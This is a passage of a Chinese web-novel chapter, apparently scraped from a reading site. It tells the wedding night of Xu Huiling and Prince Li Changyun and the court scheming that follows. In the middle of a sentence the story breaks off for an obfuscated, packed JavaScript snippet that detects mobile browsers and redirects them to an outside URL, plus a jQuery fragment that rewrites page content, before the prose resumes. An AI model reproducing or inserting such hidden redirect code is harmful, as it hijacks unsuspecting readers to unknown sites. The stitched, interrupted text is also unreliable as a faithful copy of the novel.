“不紧张。”徐徽泠回道。
婚事进程的所有事项,宫里已派嬷嬷来教她,她现在闭着眼睛都能知道下一步该如何。
她和李长昀之间,是夫妻,但更像是一起御敌的同袍。
所以,她没有紧张的感觉。
“不紧张?”谢静慈有些不解,“我现在想到要成亲那日,我都觉得紧张,你为何不紧张?”
“难道你不期待这一日吗?”
徐徽泠认真地想了想,“期待的。”
因为只有她和李长昀成亲,有些事情才能进行下去。
谢静慈笑道:“既然期待就会紧张,我看你是故作镇定。”
徐徽泠只笑了笑,并没有反驳她的话。
但当她坐在燕王府的洞房内,听见门外的丫鬟唤王爷的时候,她的心突突直跳。
房门吱呀关上,远处的喧闹声被隔绝开来,屋里显得分外的安静,安静得她能清楚听见李长昀走过来的脚步声。
合欢扇挡在她的面前,烛光从扇面的朱红轻纱透过来,扇面上绣着合欢花和蹁跹的双蝶,双蝶在朦胧的烛光中微微颤动着。
她的手在微抖。
徐徽泠疑惑起来,难道白日的时候,她真如谢静慈所说的,是故作镇定。
失神瞬间,李长昀已走到她面前,高大的身影挡住了烛光,她喉咙发干,心跳得更快了。
李长昀握住她的手,移开挡住两人的合欢扇,那双比烛光更明耀的凤眸灼灼地盯着她。
徐徽泠羞涩地垂下眼帘,躲开他炽热得让她慌乱的目光。
李长昀在她身边坐下,长臂一展,将她紧紧搂入怀中,喟叹着:“阿泠,我终于等到这一日了。”
徐徽泠安静片刻,要推开他。
“我们已拜过天地,我抱你,你还要推开我。”李长昀不满的声音带着委屈。
“王爷,”徐徽泠小声道:“我头上的凤冠太重了,压得我头疼。”
李长昀微顿,松开她,帮她取下沉甸甸的凤冠,随手搁在床边,给她按揉两侧的太阳穴,自责道:“我该早些回来的。”
他穿着大红圆领襕袍,喜庆的红撑得他越发的神仪明秀,姿容如玉。
徐徽泠脸上发热,眸光往两侧乱飘。
以前他们也靠得很近,还有过亲密的举动,但不知为何,今夜她格外的紧张。
李长昀停下,手掌贴着她的脸颊,捧起她布满霞光的俏脸,弯唇问道:“为何不敢看我?”
“没有。”徐徽泠否认。
她为了证明自己没有说谎,抬起眼眸望着他,但只两息的功夫,她就溃败了。
李长昀直勾勾的目光似乎要将她拆吃入腹。
李长昀捧着她滚烫的脸,不容她躲避,声音变得沙哑,“阿泠,你看看我。”
“看看我,我是你的夫君。”
他炙热的气息扑向她,徐徽泠脸上如火烧一般,热意传向她的腰肢,又热又麻,她的腰软了下去,也不知是他压着她,还是她自己撑不住了,两人倒在床上。
桌上红烛高照,摇曳的烛光照着大红的轻纱幔帐,轻纱幔帐内光影变幻移动。
徐徽泠躺在轻纱幔帐中,就如躺在小船上,李长昀死命地箍着她,周围的景致起伏着,她渐渐眩晕起来。
徐徽泠从不知道,行周公之礼会这么累!
李长昀如逮到猎物的猛兽,凶狠地要她,她只觉得全身都要散架了,末了还是她泪眼盈盈地哭求,他才让她入睡。
她醒来时,已是日上三竿。
“醒了?”李长昀侧身躺在她身边,一手撑着脑袋,一手还搭在她身上。
徐徽泠呆呆看了他片刻,才想起昨晚之事,脸蹭的一下红了。
她揪着被子拉到脖子处,很小声地叫了一声:“王爷。”
李长昀搭在她身上的手抚着她柔软的腰身,声音又染上了昨晚情动时的沙哑,“饿了没有?”
徐徽泠怕他又想做什么,忙不迭地点头,“饿了,我饿了!”
李长昀在她耳边暧昧地低语,“我也饿了,昨晚没有吃饱。”
徐徽泠愣了愣,回过神拍掉他搭在身上的手,红着脸道:“别闹,今日还要进宫给圣上和娘娘请
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962287|191860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安呢。”
李长昀笑着道:“好,我们先进宫,晚上回来再继续。”
徐徽泠剜了他一眼,待要起身,想起一事,又紧张起来,“昨晚,我们喝了合卺酒没有?”
宫里嬷嬷教的,先喝合卺酒再行周公之礼,但昨晚李长昀急不可待,他们都没有喝合卺酒就行周公之礼了。
“喝了,昨晚你说口渴,我就抱你过去喝了。”李长昀笑得像只偷腥的猫。
徐徽泠脸红得想要滴血。
他抱她,他就那样抱她过去……
她忍无可忍,转身向里,高声叫玉箫和银笙进来更衣。
梳妆的时候,徐徽泠从镜中看见玉箫几次欲言又止,便问道:“出什么事了?”
银笙先道:“我们王妃大喜的日子,别提那个晦气的人?”
徐徽泠略一思索,大概猜到她们说的是谁了,“徐徽韵的事情吗?”
玉箫点头,告诉她:“昨日听平南王妃说,大姑娘病得很重,大概熬不了多久了。”
徐徽泠打开两个装口脂的小瓷盒,选了朱红的口脂,挑了一点抹在唇上。
“平南王妃是故意让我知道,若我不去看徐徽韵,她们就会说我攀上高枝,拜高踩低,不再理会姊妹。”
“若我去看她,紫清观的命案,外头不少人说与王爷有关,只怕就有人说我为了王爷,去求太子帮忙说情,又坐实了命案确实和王爷有关。”
徐徽泠用帕子擦着指尖染上的口脂,冷笑着,“她们最擅长做这种事情,此前的金凤步摇也是如此。”
“那支金凤步摇,我若是戴了,就是对皇后不敬,若是不戴,就是对太子妃不敬。”
“后来即便是以善事的名义送给朝廷,也惹怒了太子妃。”
“她们这些阴谋,都是算准了我占不到半分便宜!”
玉箫和银笙面面相觑,她们没有想到这一层。
银笙不安地问道:“那该怎么办?”
玉箫往外头看了一眼,“要不,王妃去请教王爷?”
徐徽泠把帕子往桌上一丢,“不用。”